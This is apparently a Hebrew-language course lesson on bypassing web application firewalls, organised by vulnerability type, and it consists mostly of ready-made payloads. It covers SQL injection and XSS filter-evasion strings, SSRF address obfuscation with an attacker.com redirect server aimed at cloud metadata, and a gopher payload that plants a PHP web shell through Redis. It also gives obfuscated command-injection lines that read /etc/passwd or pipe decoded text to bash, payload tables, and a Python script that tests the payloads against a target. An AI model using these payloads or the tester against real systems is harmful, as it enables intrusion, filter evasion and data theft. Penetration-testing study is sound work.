לדלג לתוכן

הbypass WAF לכל חולשה - Vulnerability-specific WAF Bypass

מבוא

בשיעורים הקודמים למדנו טכניקות bypass כלליות: הencoding, HPP, Unicode, ופרוטוקול. בשיעור זה נתמקד בbypasses ספציפיות לכל סוג חולשה. לכל חולשה יש תחביר חלופי, טריקים ייחודיים ושיטות שמנצלות את הגמישות של השפה או הפרוטוקול הרלוונטי.


הbypass WAF ל-SQLi

הערות כתחליף רווח

-- WAF blocks: UNION SELECT
-- Bypass using comments
UNION/**/SELECT
UNION/*anything*/SELECT
UNION/*aaaaaaaaaa*/SELECT

-- MySQL - conditional comments
/*!UNION*//*!SELECT*/
/*!50000UNION*//*!50000SELECT*/

ערבוב גודל אותיות - Case Mixing

-- WAF blocks: UNION SELECT (case insensitive? not always)
uNiOn SeLeCt
UnIoN sElEcT
UNION SElect

-- Combined with comments
uNiOn/**/SeLeCt

מילות מפתח חלופיות

-- Instead of UNION SELECT
UNION ALL SELECT
UNION DISTINCT SELECT
UNION ALL DISTINCT SELECT

-- Instead of OR
|| (instead of OR)
&& (instead of AND)

-- Instead of = (equality)
LIKE
REGEXP
RLIKE
BETWEEN x AND x
IN (x)
NOT <> (double negation)

טכניקות ללא רווחים - No-space Techniques

-- Parentheses as a space substitute
SELECT(username)FROM(users)
UNION(SELECT(1),(2),(3))

-- Combination
(1)UNION(SELECT(username),(password)FROM(users))

-- MySQL - curly braces
{fn CONCAT(0x61,0x62)}

בניית מחרוזות עם פונקציות

-- CONCAT
SELECT CONCAT(0x61,0x64,0x6d,0x69,0x6e)
-- = "admin"

-- CHAR
SELECT CHAR(97,100,109,105,110)
-- = "admin"

-- Hex strings
SELECT 0x61646d696e
-- = "admin"

-- CHR (Oracle/PostgreSQL)
SELECT CHR(97)||CHR(100)||CHR(109)||CHR(105)||CHR(110)
-- = "admin"

-- Combination: WAF blocks 'admin', we'll use hex
SELECT username, password FROM users WHERE username = 0x61646d696e

פונקציות השהייה חלופיות - Alternative Sleep

-- WAF blocks SLEEP()
-- MySQL
BENCHMARK(10000000, SHA1('test'))
GET_LOCK('lock', 10)

-- PostgreSQL
pg_sleep(10)

-- SQL Server
WAITFOR DELAY '0:0:10'

-- Oracle
DBMS_PIPE.RECEIVE_MESSAGE('x', 10)

-- Full example
1' AND IF(1=1,BENCHMARK(10000000,SHA1('a')),0)--

אופרטורים חלופיים

-- WAF blocks OR and AND
-- Using bitwise operators
1' || 1=1--         -- instead of OR
1' && 1=1--         -- instead of AND

-- XOR
1' ^ (SELECT 1)--

-- NOT
1' !(0)--

סימון מדעי - Scientific Notation

-- The trick: 1e0 is a valid number (1 * 10^0 = 1)
-- but the WAF doesn't recognize the pattern

1e0UNION SELECT 1
1.0UNION SELECT 1

-- Full example
1'e0UNION(SELECT(password)FROM(users))WHERE'1'='1

הbypass פילטרים ספציפיים

-- WAF blocks: information_schema
-- Alternatives in MySQL
SELECT table_name FROM mysql.innodb_table_stats
SELECT column_name FROM mysql.innodb_columns (MySQL 8+)

-- WAF blocks: WHERE
-- Using HAVING
SELECT username FROM users GROUP BY username HAVING username LIKE 'admin'

-- WAF blocks: the quote '
-- Using a backslash
1\' UNION SELECT 1--

-- WAF blocks: -- comments
-- Alternative terminator
1' UNION SELECT 1;%00
1' UNION SELECT 1#
1' UNION SELECT '1

הbypass WAF ל-XSS

Event Handlers חלופיים

<!-- WAF blocks: onerror, onload, onclick -->

<!-- Less common event handlers -->
<img src=x onmouseover=alert(1)>
<input onfocus=alert(1) autofocus>
<marquee onstart=alert(1)>
<details ontoggle=alert(1) open>
<body onresize=alert(1)>
<video onloadstart=alert(1)><source>
<audio onloadstart=alert(1)><source>
<object onerror=alert(1)>
<svg onload=alert(1)>

<!-- Animation events -->
<style>@keyframes x{}</style>
<div style="animation-name:x" onanimationstart=alert(1)>

<!-- Transition events -->
<div style="transition:1s" ontransitionend=alert(1)>

תגיות HTML5

<!-- WAF blocks: <script>, <img>, <iframe> -->

<!-- Alternative tags -->
<svg onload=alert(1)>
<svg/onload=alert(1)>
<math><mtext><table><mglyph><svg><mtext><textarea><path id=x d="M0 0"/></textarea></mtext></svg></mglyph></table></mtext></math>

<!-- details/summary -->
<details open ontoggle=alert(1)>

<!-- embed -->
<embed src="javascript:alert(1)">

<!-- object -->
<object data="javascript:alert(1)">

<!-- marquee (deprecated but works) -->
<marquee onstart=alert(1)>test</marquee>

פונקציות JavaScript חלופיות

// WAF blocks: alert()
confirm(1)
prompt(1)
console.log(1)
print()  // in some browsers
document.write(1)
window.alert(1)
self.alert(1)
top.alert(1)
parent.alert(1)
this.alert(1)
globalThis.alert(1)

// Access via bracket notation
window['alert'](1)
window['al'+'ert'](1)
self['alert'](1)
this['alert'](1)

// Using the Function constructor
Function('alert(1)')()
new Function('alert(1)')()
[].constructor.constructor('alert(1)')()

Template Literals

// WAF blocks parentheses ()
// template literals don't require parentheses with tagged templates

alert`1`
confirm`1`
prompt`1`

// with an expression
`${alert(1)}`

// tagged template
String.raw`${alert(1)}`

JavaScript ללא סוגריים

// WAF blocks ()
// Using throw and onerror
onerror=alert;throw 1

// setter
Object.defineProperty(window,'x',{set:alert});x=1

// toString/valueOf
{toString:alert}+''

// import (ES modules)
import('data:text/javascript,alert(1)')

// location assignment
location='javascript:alert(1)'

הencoding ב-Event Handlers

<!-- The browser decodes HTML entities inside attributes -->
<img src=x onerror="&#97;&#108;&#101;&#114;&#116;(1)">

<!-- hex entities -->
<img src=x onerror="&#x61;&#x6c;&#x65;&#x72;&#x74;(1)">

<!-- Combination -->
<img src=x onerror="&#97;l&#101;rt(1)">

XSS ללא תגיות בהקשרים ספציפיים

// Context: inside a JavaScript string
// The input goes into: var x = 'USER_INPUT';
';alert(1)//
'-alert(1)-'
'+alert(1)+'

// Context: inside an attribute
// The input goes into: <div class="USER_INPUT">
" onmouseover=alert(1) x="
" autofocus onfocus=alert(1) x="

// Context: inside a JavaScript template literal
// The input goes into: var x = `USER_INPUT`;
${alert(1)}

הbypass WAF ל-SSRF

ערפול כתובות IP - IP Obfuscation

# Regular address: 127.0.0.1
# Alternative representations:

# Decimal
http://2130706433    # 127*256^3 + 0*256^2 + 0*256 + 1

# Hexadecimal
http://0x7f000001
http://0x7f.0x0.0x0.0x1

# Octal
http://0177.0000.0000.0001
http://0177.0.0.1

# Mixing
http://0x7f.0.0.1        # hex + decimal
http://0177.0.0.0x1       # octal + hex
http://0x7f.1             # partial

# IPv6
http://[::1]
http://[0:0:0:0:0:0:0:1]
http://[::ffff:127.0.0.1]
http://[0000:0000:0000:0000:0000:0000:0000:0001]

# Shortened IPv6
http://[::1]:80
http://[0::1]
import struct
import ipaddress

def obfuscate_ip(ip):
    """Generate alternative representations of an IP address"""
    parts = [int(p) for p in ip.split('.')]

    # decimal
    decimal = struct.unpack('!I', bytes(parts))[0]

    # hex
    hex_full = '0x' + ''.join(f'{p:02x}' for p in parts)

    # octal
    octal = '.'.join(f'0{p:o}' for p in parts)

    print(f"Original:    {ip}")
    print(f"Decimal:   http://{decimal}")
    print(f"Hexadecimal: http://{hex_full}")
    print(f"Octal:   http://{octal}")
    print(f"IPv6:     http://[::ffff:{ip}]")

obfuscate_ip("127.0.0.1")
obfuscate_ip("169.254.169.254")  # AWS metadata
obfuscate_ip("10.0.0.1")

DNS שמצביע לכתובות פנימיות

# Using a domain that points to 127.0.0.1
http://localtest.me         # points to 127.0.0.1
http://127.0.0.1.nip.io     # points to 127.0.0.1
http://spoofed.burpcollaborator.net  # DNS rebinding

# Registering your own domain with an A record to 127.0.0.1
http://internal.attacker.com  # A record -> 127.0.0.1

הexploit של סכמות URL

# WAF blocks http://127.0.0.1
# Alternative schemes
file:///etc/passwd
gopher://127.0.0.1:6379/_*1%0d%0a$4%0d%0aINFO%0d%0a
dict://127.0.0.1:6379/INFO
ftp://127.0.0.1
tftp://127.0.0.1

# gopher for sending an HTTP request via Redis
gopher://127.0.0.1:6379/_SET%20shell%20%22<%3Fphp%20system(%24_GET%5B'cmd'%5D)%3B%3F>%22

הbypass דרך הפניות - Redirect-based Bypass

# The attacker's server returns a 302 redirect to an internal address
# WAF checks the initial (external) URL, not the redirect target

# The attacker's server
from flask import Flask, redirect
app = Flask(__name__)

@app.route('/redirect')
def redir():
    return redirect('http://169.254.169.254/latest/meta-data/')

# The request:
# http://attacker.com/redirect -> 302 -> http://169.254.169.254/...

הbypass דרך CNAME

# A DNS CNAME that points to an internal server
# attacker.com CNAME -> internal-server.target.com
# WAF allows a request to attacker.com (external)
# but the DNS resolves to an internal address

הbypass WAF ל-Command Injection

תווים כלליים - Wildcards

# WAF blocks: /etc/passwd
# Using wildcards
/???/??ss??          # /etc/passwd
/???/??ss??          # /etc/passwd
cat /e?c/p?sswd
cat /e*c/p*d
cat /etc/passw?

# WAF blocks: cat
/???/??t /???/??ss??
# = /bin/cat /etc/passwd

הרחבת משתנים - Variable Expansion

# WAF blocks: id
# Using hex escape in bash
$'\x69\x64'
# = id

# Using octal
$'\151\144'
# = id

# Using variable expansion
a=i;b=d;$a$b
# = id

# Using env variables
${PATH:0:1}   # / (the first character of PATH)
${LS_COLORS:10:1}   # depends on the environment

החלפה ב-Backticks ו-$()

# WAF blocks: id
`id`
$(id)

# Combination
`$'\x69\x64'`

# Nesting
$($(echo id))

IFS כתחליף רווח

# WAF blocks spaces
# IFS (Internal Field Separator) is space, tab, newline
cat${IFS}/etc/passwd
cat$IFS/etc/passwd

# Using tab
cat /etc/passwd   # tab between cat and /etc/passwd

# Using brace expansion
{cat,/etc/passwd}

# Using a newline
cat%0a/etc/passwd

המשכיות שורה - Line Continuation

# WAF blocks: cat
ca\
t /etc/passwd
# The \ at the end of the line causes continuation to the next line

# WAF blocks: /etc/passwd
cat /et\
c/pas\
swd

מרכאות להפרדה

# WAF blocks: cat
c""at /etc/passwd
c''at /etc/passwd
c``at /etc/passwd

# WAF blocks: passwd
cat /etc/pa""sswd
cat /etc/p'a'sswd

# WAF blocks: whoami
w"h"o"a"m"i"
who''ami

הbypasses נוספות

# Using base64
echo "Y2F0IC9ldGMvcGFzc3dk" | base64 -d | bash
# Y2F0IC9ldGMvcGFzc3dk = "cat /etc/passwd"

# Using rev (reverse)
echo "dwssap/cte/ tac" | rev | bash

# Using xxd
echo "636174202f6574632f706173737764" | xxd -r -p | bash

# Using printf
$(printf '\x63\x61\x74\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64')

ריכוז payloads לכל סוג חולשה

טבלת SQLi

טכניקה הpayload
הערות 1'/**/UNION/**/SELECT/**/1--
Case mixing 1' uNiOn SeLeCt 1--
ללא רווח 1'UNION(SELECT(1))
Hex SELECT 0x61646d696e
CHAR SELECT CHAR(97,100,109,105,110)
אופרטורים 1'||1=1--
מדעי 1'e0UNION SELECT 1--
MySQL conditional 1'/*!50000UNION*//*!50000SELECT*/1--

טבלת XSS

טכניקה הpayload
SVG <svg onload=alert(1)>
Details <details open ontoggle=alert(1)>
ללא סוגריים <img src=x onerror=throw/1/+alert%261>
Template literal <img src=x onerror=alert`1`>
Confirm <img src=x onerror=confirm(1)>
Entities <img src=x onerror="&#97;lert(1)">
Function <img src=x onerror="Function('alert(1)')()">

טבלת SSRF

טכניקה הpayload
עשרוני http://2130706433
הקסדצימלי http://0x7f000001
אוקטלי http://0177.0.0.1
IPv6 http://[::1]
IPv6 mapped http://[::ffff:127.0.0.1]
DNS http://localtest.me
Redirect http://attacker.com/redir

טבלת Command Injection

טכניקה הpayload
Wildcards /???/??t /???/??ss??
Hex escape $'\x63\x61\x74'
Variable a=c;b=at;$a$b /etc/passwd
IFS cat${IFS}/etc/passwd
Continuation ca\
t /etc/passwd
מרכאות c""at /etc/passwd
Base64 echo Y2F0... \| base64 -d \| bash

סקריפט לבדיקת payloads

import requests
from urllib.parse import quote

class WAFBypassTester:
    def __init__(self, target_url, param_name, method='GET'):
        self.target_url = target_url
        self.param_name = param_name
        self.method = method
        self.results = []

    def test_payload(self, payload, description=""):
        """Test a single payload"""
        if self.method == 'GET':
            r = requests.get(self.target_url, params={self.param_name: payload})
        else:
            r = requests.post(self.target_url, data={self.param_name: payload})

        passed = r.status_code != 403
        self.results.append({
            'payload': payload,
            'description': description,
            'status': r.status_code,
            'passed': passed
        })
        return passed

    def test_sqli_bypasses(self, base_injection="1' UNION SELECT 1--"):
        """Test SQLi bypasses"""
        payloads = [
            (base_injection, "Original"),
            ("1'/**/UNION/**/SELECT/**/1--", "Comments instead of space"),
            ("1' uNiOn SeLeCt 1--", "Letter case mixing"),
            ("1'UNION(SELECT(1))", "Parentheses"),
            ("1'/*!50000UNION*//*!50000SELECT*/1--", "MySQL comments"),
            ("1'||1=1--", "OR operator"),
            ("1'e0UNION SELECT 1--", "Scientific notation"),
            ("1' UNION ALL SELECT 1--", "UNION ALL"),
            ("-1' UNION%0aSELECT%0a1--", "Newlines"),
            ("1'%09UNION%09SELECT%091--", "Tabs"),
        ]

        print("=== SQLi tests ===")
        for payload, desc in payloads:
            passed = self.test_payload(payload, desc)
            status = "PASS" if passed else "BLOCKED"
            print(f"[{status}] {desc}: {payload[:60]}")

    def test_xss_bypasses(self, base_xss="<script>alert(1)</script>"):
        """Test XSS bypasses"""
        payloads = [
            (base_xss, "Original"),
            ("<svg onload=alert(1)>", "SVG"),
            ("<svg/onload=alert(1)>", "SVG without space"),
            ("<details open ontoggle=alert(1)>", "Details"),
            ("<img src=x onerror=confirm(1)>", "Confirm"),
            ("<img src=x onerror=alert`1`>", "Template literal"),
            ("<math><mtext><table><mglyph><svg><mtext><textarea><path d=M0 id=x>", "Math"),
            ("<input autofocus onfocus=alert(1)>", "Autofocus"),
            ("<marquee onstart=alert(1)>", "Marquee"),
            ("<img src=x onerror='&#97;lert(1)'>", "Entities"),
        ]

        print("\n=== XSS tests ===")
        for payload, desc in payloads:
            passed = self.test_payload(payload, desc)
            status = "PASS" if passed else "BLOCKED"
            print(f"[{status}] {desc}: {payload[:60]}")

    def print_summary(self):
        """Summarize results"""
        total = len(self.results)
        passed = sum(1 for r in self.results if r['passed'])
        print(f"\n=== Summary ===")
        print(f"Total: {total}, Passed: {passed}, Blocked: {total - passed}")


# Usage
tester = WAFBypassTester("http://target.com/search", "q")
tester.test_sqli_bypasses()
tester.test_xss_bypasses()
tester.print_summary()

סיכום

כל חולשה מציעה מרחב של תחביר חלופי. ב-SQLi - הערות, case mixing, סוגריים, ופונקציות. ב-XSS - תגיות HTML5, event handlers חלופיים, ופונקציות JavaScript חלופיות. ב-SSRF - ערפול כתובות IP ו-DNS. ב-Command Injection - wildcards, הרחבת משתנים, ומרכאות. השילוב של טכניקות ספציפיות לחולשה עם טכניקות bypass כלליות (encoding, HPP, פרוטוקול) מייצר כמות כמעט אינסופית של אפשרויות bypass.